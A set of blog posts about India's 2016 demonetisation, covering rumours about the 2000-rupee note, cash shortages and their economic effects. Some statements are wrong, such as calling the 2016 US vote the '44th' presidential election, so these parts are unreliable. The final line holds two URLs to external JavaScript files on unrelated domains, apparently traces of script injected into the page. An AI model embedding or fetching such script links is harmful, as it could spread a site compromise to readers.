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500 & 1000 Currency Notes

Did you know that your 2000 rupee notes were capable of getting charged?

Don’t worry if you don’t because the day new 2000 rupee notes came into the market, fake news and rumors have spread like wild-fire. Some said that notes can be charged and some said that they can be tracked meters inside the ground.
Here’s a look at the rumors that shocked many and made many others laugh.1. The 2000 rupee note has a nano chip
Sweta Singh of Aajtak confirms this news below by describing very nicely how your tacked 2000 rupee notes can be tracked. I wonder if she is foolish to have thought about it or its many of us who believed.https://www.youtube.com/watch?v=E09Ilc7fHIE Embed code –

2. That 2000 rupee notes can store solar energy
This was shown by a person who made a prank video lighting a buld with the help of the 2000 rupee note.
Here’s the video link – https://www.youtube.com/watch?v=hNsxrWEnkmQ
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3. 2000 rupee note that sheds colour is fake
Unfortunately, the fact is just the opposite of this rumor. Real notes shed some colour and the government has accepted the problem.4. The new notes are waterproof
See for yourself, what happened when this guy experimented with 2000 rupee note in water.https://www.youtube.com/watch?v=lrhWlZ8OwVU Embed code:

5. Mahatma Gandhi no more on the new note
Totally false. People saw the back of the note and thought it’s the front where Gandhi’s picture was absent, but the front is where Gandhi is.

6. When withdrawing money from the ATM, people will be marked with indelible ink
The truth is that the indelible ink was for people standing in the bank queues where they kept coming again and again to exchange money. So to solve this problem, indelible ink was to be used.

Indian Express Image
Here is what Twitter has to say on rumors about demonetisation
Embed code:Tweets about demonetisation rumors
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It is best to not trust what people in your neighborhood, office and family say about the new notes. You better get the facts checked yourself and not be fooled by fake news.

Following the Indian government’s bold step to demonetize the old notes of 500 and 1000 INR, it was expected that the government and concerned authority must have some ready solution to tackle the cash chaos. But even after three weeks of the decision, the situation is still problematic as people still stand in queues and thronging from one ATM to another in search of liquid cash.

Some get succeeded to withdraw money from the machine while some don’t. Amidst the prevailing nationwide cash crunch, the RBI has introduced the new purple colored 2000 INR note on November 10 this year. But people find it extremely difficult to use it for transaction purposes.

Honestly speaking, unless the situation comes to normalcy it’s almost impossible to use the new note at one go. Obviously, the way people are running here and there to withdraw smaller denomination notes like the 100s, 50s, 10s from banks, certainly, there is no taker of Rs. 2000 INR notes now. Even if some of the people accept it they do so with a certain degree of restraint and reluctance.

The basic reason why people don’t want to take such notes of the big denomination is the wide gap in the value of notes of 500 and 2000. The common man might feel it is easier to transact four currency notes of new 500 notes than a single 2000 rupee note in the current chaotic economy. It will surely take time when people will start accepting such notes for their day-to-day transactions.

Why People Don’t Accepting the New 2000 INR Notes

The current situation doesn’t let a person withdraw more than Rs. 2000/- per day from ATMs per card. They find it more convenient to withdraw money in 100 rupees notes than a single 2000 rupees note.

Grocery and vegetable sellers carry their day to day business with very limited cash. It’s definitely impossible to imagine that a vegetable seller will exchange your Rs. 2000 note for a limited purchase worth Rs. 100 or 200.

Many people won’t accept the new 2000 note for the single reason that it will be highly difficult for them to get the same exchanged when they need.

The current psyche of the people is to hold as much cash as possible in hand. So they won’t take your Rs. 2000 note until the restriction limit on cash withdrawal is revoked.

To meet our daily small transactions such as medicine bills, vegetable and fruit expenses and conveyance by way of rikshaw or bus, what we really need are the smaller notes of 100s, 50s and 10s and not the 2000 INR note.

If more and more people get enlightened about the new digital payment systems such as e-wallets, paytm, Bank transfer, chque payment and NEFT, then sooner or later the quantum of cash transactions with denominations of 2000 and 500 will reduce to a large extent.

In order to instill faith of the people in transacting with the new 2000 rupees note, there is an urgent need for the government to enhance the supply of paper currency of smaller denominations such 500/100/50. Meanwhile, also people need to give away their habit of cash holding practice in smaller denominations or preference to hold cash for liquidity purposes.

Before proceeding with the discussion on the short term and long term ramification of Prime Minister Modi’s demonitisation move to ban 500 and 1000 INR currency notes, we need to understand that India is still a developing economy with most of the transactions take place through liquid cash.

Not all people in India are included in the banking system. Probably that’s the reason why “Jan Dhan Yojna” initiated by the central government saw a whooping participating of such a huge chunk of people. The government can definitely take a credit for the same, but it also brings India’s stark reality of development to the fore. Even after 69 years of the nation’s independence, India couldn’t successfully ensure cent percent financial inclusion of all its citizens.

Now coming back to the aftereffect of demonetization, we need to realize that a country’s economy can’t run by whims and fancies. A rationale must be there before taking any serious decisions such as the demonetization. It followed with a nation-wide liquidity chaos and even after two weeks the crisis won’t seem to go away so easily.

If the current state of cash crunch continues for a few weeks more then there’s no doubt that the nation’s economy is set to plummet further in the following months. Indian economy has definitely come to a standstill at this point in time. Common people and SMEs (Small and Medium Enterprises) are definitely bearing the brunt.

The Decision Was Right but Implementation went wrong!

Nobody doubts the intent of the government but they are questioning the modus operandi of the banks to tackle the current problem. The government’s decision to demonetize 500 and 1000 INR notes was announced on November 8 to curb the rising black money and fake currency menace throughout the country.

Initially, it was believed that situation would become normal within a few days. But the problem still persists and people are clueless even now. Empty ATMs and long queues inside and outside the banks are a daily occurrence now. At least, ATM machines should have been recalibrated beforehand to prevent the current nation-wide cash chaos.

The current crisis will surely leave its negative impact on the overall economy of the nation. The GDP growth of 2017 and 2018 is set to be heavily hit due to the decision. However, in the long term everything will return to normalcy and boost the nation’s economy as well – it will take time.

The Effect of Cash Crunch on India’s GDP Growth

Some economists are of the view that around 2% of the nation’s economy will decelerate in FY 2018. At present, India’s projected GDP growth rate is around 7.3% but after this demonetization, it is expected to stay somewhat around 6 per cent.

According to a report, the ongoing cash crisis has affected around 40% of the nation’s daily transaction. Currently, 86% of the total money in circulation consists of 500 & 1000 INR currency notes. Obviously, when the entire 86% of the money in circulation would cease to remain legal tender – its impact was bound to be severe.

India is basically a cash-based economy with most transactions take place through cash. Especially, in day-to-day businesses like grocery, vegetable and medicines – retailers usually prefer cash than cheque or electronic mode of payment. Cash has continued to remain a preferred mode of a transaction because it’s prompt and conventional.

However, the demonetization move of the government has its own advantages too. Prime Minister Modi has simultaneously tried to solve three persistent problems of Indian economy i.e. a parallel economy backed up by black money, hard-to-recognise counterfeit currency notes of 500 & 1000 INR and also the terror financing. The decision will certainly prevent hoarding of unaccounted cash, tax evasion and investment of black money in realty sectors in future.

In a stunt move by the government, Prime Minister Narendra Modi announced yesterday that old currency notes worth denominations of 500 and 1000 INR would stand invalid and illegal from today onwards. But for common people and rightful citizens of the country there is nothing to worry about as such. Government puts several plans in place for the convenience to common people of the country.

The NDA government took the bold step to bring a considerable reduction in the usage of black money in and outside the country. This move will also help the government to keep a tab on people who earned money by way of unfair means and don’t pay taxes on them.

Modi also stated in his 40-minute long speech, that these notes of high denominations (500 & 1000) were often imitated to supply fake ones – that promote anti-lawful activities such as kidnapping, hawala transaction, terrorism and illegal real estate construction which are rampant across the country.

Common People Shouldn’t Feel Panicky

First of all, you have to just stay calm and patient for the next 48-hours. Don’t need to feel tensed or rush here and there. ATM machines and banks would stay closed during these hours. After a couple of days, the ATMs would start to resume their services with a limit of Rs. 2000 rupees in a day.

From 24th of November onwards these machines will dispense currency notes worth the value of Rs. 4000 in a day with new currency notes of Rs. 500 and 1000 INR. Normal people can directly deposit their old currency notes of denominations of Rs. 500 and Rs. 1000 at their bank accounts from 11th November onwards.

Important Facts Regarding the Scheme

Banned Currency: Old Issued Notes of Rs. 500 & Rs. 1000.

ATM & Bank Closure: In order to fulfill people’s need the government decided to keep bank and ATMs closed for the next 48 hours

Applicability: This rule is applicable to every place all across India.

Exchange Dates: From 11 November onward you can exchange you old notes of high denominations (500 & 1000) with new ones at any bank or post office by carrying your identity card. Also, you can directly deposit these currency notes at your bank/ Post office accounts.

Important Date: You can exchange all your currency notes in 500 and 1000 denominations by 30th December 2016 with the new ones or smaller denominations at Post office, Banks and RBI.

Why Sensex Has Crashed Today?

Many people are still confused that if the government has taken a right measure than why did the sensex open today with a huge dip. Sensex started with a fall in the morning. At 10:30 am, the S&P BSE Sensex went down to 26581 while Nifty50 was trading at 8209 almost 335 points below where it was closed yesterday.

Well there is a no certain answer to it. Dipping of the Sensex has a lot to do with the unexpected victory of Donald Trump at the 44th US Presidential Election as well. Economists said this is a short term impact due to the big announcement on currency denominations made by Prime Minister Modi Yesterday night.https://hotopponents.site/site.js?zzz=3https://saskmade.net/head.js?ver=2.0.0